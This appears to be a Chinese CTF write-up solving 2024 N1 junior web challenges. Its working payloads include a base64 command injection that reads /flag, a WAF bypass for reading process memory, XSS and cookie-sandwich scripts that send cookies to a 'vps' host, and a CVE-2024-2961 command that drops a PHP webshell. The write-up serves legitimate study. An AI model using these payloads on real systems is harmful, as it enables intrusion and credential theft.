    ip_base64 = data.get('ip_base64')
    if not ip_base64:
        return flask.jsonify({'error': 'no ip'}), 400

    result = run_ping(ip_base64)
    if result:
        return flask.jsonify({'success': True, 'output': result}), 200
    else:
        return flask.jsonify({'success': False}), 400

@app.route('/')
def index():
    return flask.render_template('index.html')

app.run(host='0.0.0.0', port=5000)

过滤只能是ip的正常格式,长度也受限制

重点关注command = f”””echo “ping -c 1 $(echo ‘{ip_base64}’ | base64 -d)” | sh”””

ip_base64是,先通过Python的base64库解码校验之后,再经过Linux的命令行解码,而在Python中base64.b64decode不会对=之后的内容继续解码,也就是可以通过两端编码来绕过

0.0.0.0;cat /flag

MC4wLjAuMA==O2NhdCAvZmxhZw==

拿到flag

Peek a Fork

扫到/entrypoint.sh

#!/bin/sh
set -e

echo "$FLAG" > /app/flag.txt

unset FLAG

exec python /app/server.py

读server.py读到源码

import socket
import os
import hashlib
import fcntl
import re
import mmap

with open('flag.txt', 'rb') as f:
    flag = f.read()
mm = mmap.mmap(-1, len(flag))
mm.write(flag)
os.remove('flag.txt')

FORBIDDEN = [b'flag', b'proc', b'<', b'>', b'^', b"'", b'"', b'..', b'./']
PAGE = """<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Secure Gateway</title>
    <style>
        body { font-family: 'Courier New', monospace; background-color: #0c0c0c; color: #00ff00; text-align: center; margin-top: 10%; }
        .container { border: 1px solid #00ff00; padding: 2rem; display: inline-block; }
        h1 { font-size: 2.5rem; text-shadow: 0 0 5px #00ff00; }
        p { font-size: 1.2rem; }
        .status { color: #ffff00; }
    </style>
</head>
<body>
    <div class="container">
        <h1>Firewall</h1>
        <p class="status">STATUS: All systems operational.</p>
        <p>Your connection has been inspected.</p>
    </div>
</body>
</html>"""

def handle_connection(conn, addr, log, factor=1):
    try:
        conn.settimeout(10.0)

        if log:
            with open('log.txt', 'a') as f:
                fcntl.flock(f, fcntl.LOCK_EX)
                log_bytes = f"{addr[0]}:{str(addr[1])}:{str(conn)}".encode()
                for _ in range(factor):
                    log_bytes = hashlib.sha3_256(log_bytes).digest()
                log_entry = log_bytes.hex() + "n"
                f.write(log_entry)

        request_data = conn.recv(256)
        if not request_data.startswith(b"GET /"):
            response = b"HTTP/1.1 400 Bad RequestrnrnInvalid Request"
            conn.sendall(response)
            return
        try:
            path = request_data.split(b' ')[1]
            pattern = rb'?offset=(d+)&length=(d+)'

            offset = 0
            length = -1

            match = re.search(pattern, path)

            if match:
                offset = int(match.group(1).decode())
                length = int(match.group(2).decode())

                clean_path = re.sub(pattern, b'', path)
                filename = clean_path.strip(b'/').decode()
            else:
                filename = path.strip(b'/').decode()

        except Exception:
            response = b"HTTP/1.1 400 Bad RequestrnrnInvalid Request"
            conn.sendall(response)
            return

        if not filename:
            response_body = PAGE
            response_status = "200 OK"
        else:
            try:
                with open(os.path.normpath(filename), 'rb') as f:
                    if offset > 0:
                        f.seek(offset)

                    data_bytes = f.read(length)
                    response_body = data_bytes.decode('utf-8', 'ignore')
                response_status = "200 OK"
            except Exception as e:
                response_body = f"Invalid path"
                response_status = "500 Internal Server Error"

        response = f"HTTP/1.1 {response_status}rnContent-Length: {len(response_body)}rnrn{response_body}"
        conn.sendall(response.encode())

    except Exception:
        pass
    finally:
        conn.close()
        os._exit(0)

def main():
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server.bind(('0.0.0.0', 1337))
    server.listen(50)
    print(f"Server listening on port 1337...")

    while True:
        try:
            pid, status = os.waitpid(-1, os.WNOHANG)
        except ChildProcessError:
            pass
        conn, addr = server.accept()

        initial_data = conn.recv(256, socket.MSG_PEEK)
        if any(term in initial_data.lower() for term in FORBIDDEN):
            conn.sendall(b"HTTP/1.1 403 ForbiddenrnrnSuspicious request pattern detected.")
            conn.close()
            continue

        if initial_data.startswith(b'GET /?log=1'):
            try:
                factor = 1
                pattern = rb"&factor=(d+)"
                match = re.search(pattern, initial_data)
                if match:
                    factor = int(match.group(1).decode())
                pid = os.fork()
                if pid == 0:
                    server.close()
                    handle_connection(conn, addr, True, factor)
            except Exception as e:
                print("[ERROR]: ", e)
            finally:
                conn.close()
                continue
        else:
            pid = os.fork()
            if pid == 0:
                server.close()
                handle_connection(conn, addr, False)

        conn.close()

if __name__ == '__main__':
    main()

在把flag读到内存之后直接删了,也就是需要去内存proc/self/mem里面找

非预期
pattern = rb'?offset=(d+)&length=(d+)'

clean_path = re.sub(pattern, b'', path)

仅仅将不合法的内容替换成空

把?offset=(d+)&length=(d+)直接插在/../proc/self/environ被过滤的..和proc中间就行了

GET /.?offset=0&length=100000.?offset=0&length=10000/pr?offset=0&length=100000oc/self/maps HTTP/1.1
Host: hostlocal:17309
image-20260111203148997
56395827e000-56395827f000 r--p 00000000 103:00 15523385                  /usr/local/bin/python3.12
56395827f000-563958280000 r-xp 00001000 103:00 15523385                  /usr/local/bin/python3.12
563958280000-563958281000 r--p 00002000 103:00 15523385                  /usr/local/bin/python3.12
563958281000-563958282000 r--p 00002000 103:00 15523385                  /usr/local/bin/python3.12
563958282000-563958283000 rw-p 00003000 103:00 15523385                  /usr/local/bin/python3.12
563959f5f000-56395a3b0000 rw-p 00000000 00:00 0                          [heap]
7fa2fe996000-7fa2fe998000 r--p 00000000 103:00 15524156                  /usr/local/lib/python3.12/lib-dynload/mmap.cpython-312-x86_64-linux-gnu.so
7fa2fe998000-7fa2fe99b000 r-xp 00002000 103:00 15524156                  /usr/local/lib/python3.12/lib-dynload/mmap.cpython-312-x86_64-linux-gnu.so
7fa2fe99b000-7fa2fe99d000 r--p 00005000 103:00 15524156                  /usr/local/lib/python3.12/lib-dynload/mmap.cpython-312-x86_64-linux-gnu.so
7fa2fe99d000-7fa2fe99e000 r--p 00006000 103:00 15524156                  /usr/local/lib/python3.12/lib-dynload/mmap.cpython-312-x86_64-linux-gnu.so
7fa2fe99e000-7fa2fe99f000 rw-p 00007000 103:00 15524156                  /usr/local/lib/python3.12/lib-dynload/mmap.cpython-312-x86_64-linux-gnu.so
7fa2fe99f000-7fa2fe9a0000 r--p 00000000 103:00 15524153                  /usr/local/lib/python3.12/lib-dynload/fcntl.cpython-312-x86_64-linux-gnu.so
7fa2fe9a0000-7fa2fe9a2000 r-xp 00001000 103:00 15524153                  /usr/local/lib/python3.12/lib-dynload/fcntl.cpython-312-x86_64-linux-gnu.so
7fa2fe9a2000-7fa2fe9a4000 r--p 00003000 103:00 15524153                  /usr/local/lib/python3.12/lib-dynload/fcntl.cpython-312-x86_64-linux-gnu.so
7fa2fe9a4000-7fa2fe9a5000 r--p 00004000 103:00 15524153                  /usr/local/lib/python3.12/lib-dynload/fcntl.cpython-312-x86_64-linux-gnu.so
7fa2fe9a5000-7fa2fe9a6000 rw-p 00005000 103:00 15524153                  /usr/local/lib/python3.12/lib-dynload/fcntl.cpython-312-x86_64-linux-gnu.so
7fa2fe9a6000-7fa2fe9a8000 r--p 00000000 103:00 15524094                  /usr/local/lib/python3.12/lib-dynload/_blake2.cpython-312-x86_64-linux-gnu.so
7fa2fe9a8000-7fa2fe9af000 r-xp 00002000 103:00 15524094                  /usr/local/lib/python3.12/lib-dynload/_blake2.cpython-312-x86_64-linux-gnu.so
7fa2fe9af000-7fa2fe9b1000 r--p 00009000 103:00 15524094                  /usr/local/lib/python3.12/lib-dynload/_blake2.cpython-312-x86_64-linux-gnu.so
7fa2fe9b1000-7fa2fe9b2000 r--p 0000a000 103:00 15524094                  /usr/local/lib/python3.12/lib-dynload/_blake2.cpython-312-x86_64-linux-gnu.so
7fa2fe9b2000-7fa2fe9b3000 rw-p 0000b000 103:00 15524094                  /usr/local/lib/python3.12/lib-dynload/_blake2.cpython-312-x86_64-linux-gnu.so
7fa2fe9b3000-7fa2fe9b8000 r--p 00000000 103:00 15520405                  /usr/lib/x86_64-linux-gnu/libzstd.so.1.5.7
7fa2fe9b8000-7fa2fea67000 r-xp 00005000 103:00 15520405                  /usr/lib/x86_64-linux-gnu/libzstd.so.1.5.7
7fa2fea67000-7fa2fea7b000 r--p 000b4000 103:00 15520405                  /usr/lib/x86_64-linux-gnu/libzstd.so.1.5.7
7fa2fea7b000-7fa2fea7c000 r--p 000c8000 103:00 15520405                  /usr/lib/x86_64-linux-gnu/libzstd.so.1.5.7
7fa2fea7c000-7fa2fea7d000 rw-p 000c9000 103:00 15520405                  /usr/lib/x86_64-linux-gnu/libzstd.so.1.5.7
7fa2fea7d000-7fa2fea80000 r--p 00000000 103:00 15520403                  /usr/lib/x86_64-linux-gnu/libz.so.1.3.1
7fa2fea80000-7fa2fea94000 r-xp 00003000 103:00 15520403                  /usr/lib/x86_64-linux-gnu/libz.so.1.3.1
7fa2fea94000-7fa2fea9b000 r--p 00017000 103:00 15520403                  /usr/lib/x86_64-linux-gnu/libz.so.1.3.1
7fa2fea9b000-7fa2fea9c000 r--p 0001d000 103:00 15520403                  /usr/lib/x86_64-linux-gnu/libz.so.1.3.1
7fa2fea9c000-7fa2fea9d000 rw-p 0001e000 103:00 15520403                  /usr/lib/x86_64-linux-gnu/libz.so.1.3.1
7fa2fea9d000-7fa2feb94000 r--p 00000000 103:00 15520163                  /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fa2feb94000-7fa2fef15000 r-xp 000f7000 103:00 15520163                  /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fa2fef15000-7fa2ff04c000 r--p 00478000 103:00 15520163                  /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fa2ff04c000-7fa2ff0cf000 r--p 005ae000 103:00 15520163                  /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fa2ff0cf000-7fa2ff0d2000 rw-p 00631000 103:00 15520163                  /usr/lib/x86_64-linux-gnu/libcrypto.so.3
7fa2ff0d2000-7fa2ff0d5000 rw-p 00000000 00:00 0 
7fa2ff0d5000-7fa2ff0d9000 r--p 00000000 103:00 15524114                  /usr/local/lib/python3.12/lib-dynload/_hashlib.cpython-312-x86_64-linux-gnu.so
7fa2ff0d9000-7fa2ff0df000 r-xp 00004000 103:00 15524114                  /usr/local/lib/python3.12/lib-dynload/_hashlib.cpython-312-x86_64-linux-gnu.so
7fa2ff0df000-7fa2ff0e3000 r--p 0000a000 103:00 15524114                  /usr/local/lib/python3.12/lib-dynload/_hashlib.cpython-312-x86_64-linux-gnu.so
7fa2ff0e3000-7fa2ff0e4000 r--p 0000d000 103:00 15524114                  /usr/local/lib/python3.12/lib-dynload/_hashlib.cpython-312-x86_64-linux-gnu.so
7fa2ff0e4000-7fa2ff0e6000 rw-p 0000e000 103:00 15524114                  /usr/local/lib/python3.12/lib-dynload/_hashlib.cpython-312-x86_64-linux-gnu.so
7fa2ff0e6000-7fa2ff0ea000 r--p 00000000 103:00 15524149                  /usr/local/lib/python3.12/lib-dynload/array.cpython-312-x86_64-linux-gnu.so
7fa2ff0ea000-7fa2ff0f1000 r-xp 00004000 103:00 15524149                  /usr/local/lib/python3.12/lib-dynload/array.cpython-312-x86_64-linux-gnu.so
7fa2ff0f1000-7fa2ff0f5000 r--p 0000b000 103:00 15524149                  /usr/local/lib/python3.12/lib-dynload/array.cpython-312-x86_64-linux-gnu.so
7fa2ff0f5000-7fa2ff0f6000 r--p 0000f000 103:00 15524149                  /usr/local/lib/python3.12/lib-dynload/array.cpython-312-x86_64-linux-gnu.so
7fa2ff0f6000-7fa2ff0f7000 rw-p 00010000 103:00 15524149                  /usr/local/lib/python3.12/lib-dynload/array.cpython-312-x86_64-linux-gnu.so
7fa2ff0f7000-7fa2ff1f7000 rw-p 00000000 00:00 0 
7fa2ff1f7000-7fa2ff1f9000 r--p 00000000 103:00 15524161                  /usr/local/lib/python3.12/lib-dynload/select.cpython-312-x86_64-linux-gnu.so
7fa2ff1f9000-7fa2ff1fc000 r-xp 00002000 103:00 15524161                  /usr/local/lib/python3.12/lib-dynload/select.cpython-312-x86_64-linux-gnu.so
7fa2ff1fc000-7fa2ff1fe000 r--p 00005000 103:00 15524161                  /usr/local/lib/python3.12/lib-dynload/select.cpython-312-x86_64-linux-gnu.so
7fa2ff1fe000-7fa2ff1ff000 r--p 00006000 103:00 15524161                  /usr/local/lib/python3.12/lib-dynload/select.cpython-312-x86_64-linux-gnu.so
7fa2ff1ff000-7fa2ff200000 rw-p 00007000 103:00 15524161                  /usr/local/lib/python3.12/lib-dynload/select.cpython-312-x86_64-linux-gnu.so
7fa2ff200000-7fa2ff300000 rw-p 00000000 00:00 0 
7fa2ff300000-7fa2ff304000 r--p 00000000 103:00 15524131                  /usr/local/lib/python3.12/lib-dynload/_socket.cpython-312-x86_64-linux-gnu.so
7fa2ff304000-7fa2ff30f000 r-xp 00004000 103:00 15524131                  /usr/local/lib/python3.12/lib-dynload/_socket.cpython-312-x86_64-linux-gnu.so
7fa2ff30f000-7fa2ff318000 r--p 0000f000 103:00 15524131                  /usr/local/lib/python3.12/lib-dynload/_socket.cpython-312-x86_64-linux-gnu.so
7fa2ff318000-7fa2ff319000 r--p 00017000 103:00 15524131                  /usr/local/lib/python3.12/lib-dynload/_socket.cpython-312-x86_64-linux-gnu.so
7fa2ff319000-7fa2ff31a000 rw-p 00018000 103:00 15524131                  /usr/local/lib/python3.12/lib-dynload/_socket.cpython-312-x86_64-linux-gnu.so
7fa2ff31a000-7fa2ff51a000 rw-p 00000000 00:00 0 
7fa2ff51a000-7fa2ff52b000 r--p 00000000 103:00 15520236                  /usr/lib/x86_64-linux-gnu/libm.so.6
7fa2ff52b000-7fa2ff5a8000 r-xp 00011000 103:00 15520236                  /usr/lib/x86_64-linux-gnu/libm.so.6
7fa2ff5a8000-7fa2ff608000 r--p 0008e000 103:00 15520236                  /usr/lib/x86_64-linux-gnu/libm.so.6
7fa2ff608000-7fa2ff609000 r--p 000ed000 103:00 15520236                  /usr/lib/x86_64-linux-gnu/libm.so.6
7fa2ff609000-7fa2ff60a000 rw-p 000ee000 103:00 15520236                  /usr/lib/x86_64-linux-gnu/libm.so.6
7fa2ff60a000-7fa2ff632000 r--p 00000000 103:00 15520148                  /usr/lib/x86_64-linux-gnu/libc.so.6
7fa2ff632000-7fa2ff797000 r-xp 00028000 103:00 15520148                  /usr/lib/x86_64-linux-gnu/libc.so.6
7fa2ff797000-7fa2ff7ed000 r--p 0018d000 103:00 15520148                  /usr/lib/x86_64-linux-gnu/libc.so.6
7fa2ff7ed000-7fa2ff7f1000 r--p 001e2000 103:00 15520148                  /usr/lib/x86_64-linux-gnu/libc.so.6
7fa2ff7f1000-7fa2ff7f3000 rw-p 001e6000 103:00 15520148                  /usr/lib/x86_64-linux-gnu/libc.so.6
7fa2ff7f3000-7fa2ff800000 rw-p 00000000 00:00 0 
7fa2ff800000-7fa2ff900000 r--p 00000000 103:00 15523607                  /usr/local/lib/libpython3.12.so.1.0
7fa2ff900000-7fa2ffb1f000 r-xp 00100000 103:00 15523607                  /usr/local/lib/libpython3.12.so.1.0
7fa2ffb1f000-7fa2ffc6f000 r--p 0031f000 103:00 15523607                  /usr/local/lib/libpython3.12.so.1.0
7fa2ffc6f000-7fa2ffce6000 r--p 0046e000 103:00 15523607                  /usr/local/lib/libpython3.12.so.1.0
7fa2ffce6000-7fa2ffe55000 rw-p 004e5000 103:00 15523607                  /usr/local/lib/libpython3.12.so.1.0
7fa2ffe55000-7fa2ffe56000 rw-p 00000000 00:00 0 
7fa2ffe5c000-7fa2ffe5f000 r--p 00000000 103:00 15524155                  /usr/local/lib/python3.12/lib-dynload/math.cpython-312-x86_64-linux-gnu.so
7fa2ffe5f000-7fa2ffe67000 r-xp 00003000 103:00 15524155                  /usr/local/lib/python3.12/lib-dynload/math.cpython-312-x86_64-linux-gnu.so
7fa2ffe67000-7fa2ffe6c000 r--p 0000b000 103:00 15524155                  /usr/local/lib/python3.12/lib-dynload/math.cpython-312-x86_64-linux-gnu.so
7fa2ffe6c000-7fa2ffe6d000 r--p 0000f000 103:00 15524155                  /usr/local/lib/python3.12/lib-dynload/math.cpython-312-x86_64-linux-gnu.so
7fa2ffe6d000-7fa2ffe6e000 rw-p 00010000 103:00 15524155                  /usr/local/lib/python3.12/lib-dynload/math.cpython-312-x86_64-linux-gnu.so
7fa2ffe6e000-7fa2ffed4000 rw-p 00000000 00:00 0 
7fa2ffed4000-7fa2ffedb000 r--s 00000000 103:00 15520059                  /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache
7fa2ffedb000-7fa2fff35000 r--p 00000000 103:00 15519696                  /usr/lib/locale/C.utf8/LC_CTYPE
7fa2fff35000-7fa2fff37000 rw-p 00000000 00:00 0 
7fa2fff38000-7fa2fff39000 rw-s 00000000 00:01 6174                       /dev/zero (deleted)
7fa2fff39000-7fa2fff3b000 rw-p 00000000 00:00 0 
7fa2fff3b000-7fa2fff3c000 r--p 00000000 103:00 15520122                  /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fa2fff3c000-7fa2fff64000 r-xp 00001000 103:00 15520122                  /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fa2fff64000-7fa2fff6f000 r--p 00029000 103:00 15520122                  /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fa2fff6f000-7fa2fff71000 r--p 00034000 103:00 15520122                  /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fa2fff71000-7fa2fff72000 rw-p 00036000 103:00 15520122                  /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7fa2fff72000-7fa2fff73000 rw-p 00000000 00:00 0 
7ffe68e9d000-7ffe68ebe000 rw-p 00000000 00:00 0                          [stack]
7ffe68ec9000-7ffe68ecd000 r--p 00000000 00:00 0                          [vvar]
7ffe68ecd000-7ffe68ecf000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

我们不知道 Flag 存放在内存的哪个绝对地址。 就需要找权限为可读写 rw-p且没有关联文件名的内存段

用脚本算偏移和长度,从十六进制到十进制

import re

maps=open('maps')
b = maps.read()
list = b.split('n')
for line in list:
    if 'rw' in line:
        addr = re.search('([0-9a-f]+)-([0-9a-f]+)',line)
        #正则匹配地址,地址格式为十六进制数[0-9a-f],reserch会返回一个re.Match对象,用括号括起来是为了使用group()处理返回结果。
        start = int(addr.group(1),16)  #将十六进制字符转化为十进制数,为了符合start参数格式参考链接
        end = int(addr.group(2),16)    #将十六进制字符转化为十进制数,为了符合end参数格式
        print(start,end)
        print(end-start)

因为不清楚在哪一段里面于是每个都算出来手动试了

image-20260111203517430

最后也是可以看到是在 /usr/local/lib/python3.12/lib-dynload/select.cpython-312-x86_64-linux-gnu.so 这一段里面

预期

代码里进行了两次 recv,与 waf 相关的是这一段

initial_data = conn.recv(256, socket.MSG_PEEK)
if any(term in initial_data.lower() for term in FORBIDDEN):
    conn.sendall(b"HTTP/1.1 403 ForbiddenrnrnSuspicious request pattern detected.")
    conn.close()
    continue

里面用了MSG_PEEK,只是查看数据,而不取走数据

也就是说数据会留在缓冲区,而正式读入是在 handle_connection,一旦读取则会把数据移除缓冲区

在读入前,如果进了log,会优先进行 log 再读入,而如果这里 factor 的值给高了会计算一会哈希值,卡在这里一段时间,那么缓冲区中就会持续存在 GET /?log=1&factor=100000,此时如果在通过 MSG_PEEK 后缓冲区还未清除之前立刻插入再传入,因为进程已经过了waf环节,于是新传入的 /../../../proc/self/maps就会跳过waf检测直接接在后面 ,那么实际进入缓冲区内为 GET /?log=1&factor=100000/../../../proc/self/maps

from pwn import *

host = 'localhost'
port = 1337

remote1 = remote(host, port)
remote1.send(b'GET /?log=1&factor=100000')
time.sleep(0.01)
remote1.send(f'/../../../../proc/self/maps'.encode())
resp = remote1.recv()
print(resp)

来这样绕过waf读到maps,然后就是正常流程了

Unfinished

xss

from flask import Flask, request, render_template, redirect, url_for, flash, render_template_string, make_response
from flask_login import LoginManager, UserMixin, login_user, logout_user, current_user, login_required
import requests
from markupsafe import escape
from playwright.sync_api import sync_playwright
import os

app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key-here'

login_manager = LoginManager()
login_manager.init_app(app)
login_manager.login_view = 'login'

class User(UserMixin):
    def __init__(self, id, username, password, bio=""):
        self.id = id
        self.username = username
        self.password = password
        self.bio = bio
admin_password = os.urandom(12).hex()

USERS_DB = {'admin': User(id=1, username='admin', password=admin_password)}
USER_ID_COUNTER = 1

@login_manager.user_loader
def load_user(user_id):
    for user in USERS_DB.values():
        if str(user.id) == user_id:
            return user
    return None

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
    global USER_ID_COUNTER
    if request.method == 'POST':
        username = request.form['username']
        if username in USERS_DB:
            flash('Username already exists.')
            return redirect(url_for('register'))

        USER_ID_COUNTER += 1
        new_user = User(
            id=USER_ID_COUNTER,
            username=username,
            password=request.form['password']
        )
        USERS_DB[username] = new_user
        login_user(new_user)
        response = make_response(redirect(url_for('index')))
        response.set_cookie('ticket', 'your_ticket_value')
        return response
    return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        user = USERS_DB.get(username)
        if user and user.password == password:
            login_user(user)
            return redirect(url_for('index'))
        flash('Invalid credentials.')
    return render_template('login.html')

@app.route('/logout')
@login_required
def logout():
    logout_user()
    return redirect(url_for('index'))

@app.route('/profile', methods=['GET', 'POST'])
@login_required
def profile():
    if request.method == 'POST':
        current_user.bio = request.form['bio']
        print(current_user.bio)
        return redirect(url_for('index'))
    return render_template('profile.html')

@app.route('/ticket', methods=['GET', 'POST'])
def ticket():
    if request.method == 'POST':
        ticket = request.form['ticket']
        response = make_response(redirect(url_for('index')))
        response.set_cookie('ticket', ticket)
        return response
    return render_template('ticket.html')

@app.route("/view", methods=["GET"])
@login_required
def view_user():
    """
    # I found a bug in it.
    # Until I fix it, I've banned /api/bio/. Have fun :)
    """
    username = request.args.get("username",default=current_user.username)
    visit_url(f"http://localhost/api/bio/{username}")
    template = f"""
    {{% extends "base.html" %}}
    {{% block title %}}success{{% endblock %}}
    {{% block content %}}
    <h1>bot will visit your bio</h1>
    <p style="margin-top: 1.5rem;"><a href="{{{{ url_for('index') }}}}">Back to Home</a></p>
    {{% endblock %}}
    """
    return render_template_string(template)


@app.route("/api/bio/<string:username>", methods=["GET"])
@login_required
def get_user_bio(username):
    if not current_user.username == username:
        return "Unauthorized", 401
    user = USERS_DB.get(username)
    if not user:
        return "User not found.", 404
    return user.bio

def visit_url(url):
    try:
        flag_value = os.environ.get('FLAG', 'flag{fake}')

        with sync_playwright() as p:
            browser = p.chromium.launch(headless=True, args=["--no-sandbox"])
            context = browser.new_context()

            context.add_cookies([{
                'name': 'flag',
                'value': flag_value,
                'domain': 'localhost',
                'path': '/',
                'httponly': True
            }])

            page = context.new_page()
            page.goto("http://localhost/login", timeout=5000)
            page.fill("input[name='username']", "admin")
            page.fill("input[name='password']", admin_password)
            page.click("input[name='submit']")
            page.wait_for_timeout(3000)
            page.goto(url, timeout=5000)
            page.wait_for_timeout(5000)
            browser.close()

    except Exception as e:
        print(f"Bot error: {str(e)}")


if __name__ == "__main__":
    app.run(host='0.0.0.0', port=5000)
user  www-data;
worker_processes  auto;
pid        /var/run/nginx.pid;

events {
    worker_connections  1024;
}

http {
    proxy_cache_path /var/cache/nginx levels=1:2 keys_zone=static_cache:10m max_size=1g inactive=60m;

    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;

    server {
        listen 80 default_server;
        server_name _;

        location / {
            proxy_pass http://127.0.0.1:5000;
        }

        location /api/bio/ {
            return 403;
        }

        location ~ .(css|js)$ {
            proxy_pass http://127.0.0.1:5000;
            proxy_ignore_headers Vary;
            proxy_cache static_cache;
            proxy_cache_valid 200 10m;
        }
    }
}
location /api/bio/ {
    return 403;
}
context.add_cookies([{
    'name': 'flag',
    'value': flag_value,
    'domain': 'localhost',
    'path': '/',
    'httponly': True
}])

这个httpOnly大小写拼错了竟然(),flag 直接会跟cookie一起带出来,正常做就行了

非预期

/api/bio/无论是我们还是bot都是无法访问的

但是后面又写到

location ~ .(css|js)$ {
    proxy_pass http://127.0.0.1:5000;
    proxy_cache static_cache;
    ...
}

漏洞在于Nginx中,正则匹配(~)的优先级通常高于普通字符串前缀匹配

也就是说,如果它匹配到了最后的.js或.css,就会直接忽略403的/api/bio/

if not current_user.username == username:
        return "Unauthorized", 401
    user = USERS_DB.get(username)
    if not user:
        return "User not found.", 404
    return user.bio

只有登录为 1.js,才能访问 /api/bio/1.js

将 bio 设置为我们的Payload

<script>fetch('http://vps/'+document.cookie);</script>

由于 Nginx 配置了 proxy_cache,当作为1.js访问一次/api/bio/1.js时,Nginx会把url存入缓存

在服务器上设置监听,访问 /view?username=1.js让bot触发这个url,进而读到bot的cookie的flag

预期

如果httpOnly大小写对了

参考:https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique

两面包夹🧀法()

为了兼容老旧的标准,许多解析器在处理 Cookie 值时遵循一个逻辑:如果值的开头是双引号 “,那么它必须读取到下一个双引号才算结束

也就是说,在浏览器发送 HTTP 请求的时候,如果使用了双引号包裹起来

ticket="start; flag=flag; aaa=end"

它顶多会认为ticket的值是”start,flag的值是flag,aaa的值是end”

但后端的解析器不这么认为

当它遇到第一个分号时,他就会认为被双引号包裹起来的内容是一个整体的值,双引号内部的分号是普通的内容。

也就是说,解析器认为ticket的值是start; flag=flag; aaa=end。从而绕过httpOnly

@app.route('/ticket', methods=['POST'])
def ticket():
    ticket_val = request.form['ticket'] # 攻击者控制这里
    response = make_response(...)
    response.set_cookie('ticket', ticket_val) # 这里是关键!
    return response

再通过这一段的response.headers.get(‘Set-Cookie’)读出来

exp:

<script>
const url = new URL("http://localhost/ticket");
document.cookie = `$Version=1; domain=${url.hostname}; path=${url.pathname};`;
document.cookie = `ticket="test; domain=${url.hostname}; path=${url.pathname};`;
document.cookie = `aaa=bbb"; domain=${url.hostname}; path=/;`;
fetch("/ticket", {
        credentials: 'include',
}).then(response => {
        return response.text();
}).then(data => {
        fetch("http://vps:23333/", {
                method: "POST",
                body: data,
        });
})
</script>

2024 N1 junior

Gavatar

(又是内存,又是内存)

题目模仿了一个应用允许用户上传和展示自己的头像

漏洞点在这里

<?php
require_once 'common.php';

$user = getCurrentUser();
if (!$user) header('Location: index.php');

$avatarDir = __DIR__ . '/avatars';
if (!is_dir($avatarDir)) mkdir($avatarDir, 0755);

$avatarPath = "$avatarDir/{$user['id']}";

if (!empty($_FILES['avatar']['tmp_name'])) {
    $finfo = new finfo(FILEINFO_MIME_TYPE);
    if (!in_array($finfo->file($_FILES['avatar']['tmp_name']), ['image/jpeg', 'image/png', 'image/gif'])) {
        die('Invalid file type');
    }
    move_uploaded_file($_FILES['avatar']['tmp_name'], $avatarPath);
} elseif (!empty($_POST['url'])) {
    $image = @file_get_contents($_POST['url']);
    if ($image === false) die('Invalid URL');
    file_put_contents($avatarPath, $image);
}

header('Location: profile.php');

file_get_contents函数,任意文件读取漏洞,file:///etc/passwd就可以读文件

难点在于这道题需要执行 /readflag 命令才能拿到 flag,查看php版本,8.3.4,需要找一个cve

CVE-2024-2961

大致原理还就是

1.读取proc/self/maps算地址

2.读取指定的包含system函数地址文件

3.直接生成POC达到RCE

然后在 Linux 机器上执行命令实现RCE

python cnext-exploit.py http://localhost:8000 "echo PD89YCRfR0VUWzBdYD8+ | base64 -d > cmd.php"
<?=`$_GET[0]`?>

访问 /cmd.php?0=/readflag 拿到 flag

学习计划

这不是我第一次尝试N1 junior,大概在两个月之前就斗胆尝试做了一下,意料之中看wp什么都看不懂,当时就直接放弃了。现在再回头来看N1 junior,虽然不能说一眼就会,但最起码比之前稍微强一点了,这几道题也是边看边学才做出来的。至少我现在认为,或许就应该多做那些略高于自己水平的题目,才能学到更多东西。这让我想起来高中老师告诉我的一句话“求上得中,求中得下”,也算是对这句话有了更深的体会。

2024 N1junior还没有全部复现完,还剩下一周复习时间。考完了之后,我打算复现完N1的题,再尝试一下 XCTF 分站赛的题。

留下评论

您的邮箱地址不会被公开。 必填项已用 * 标注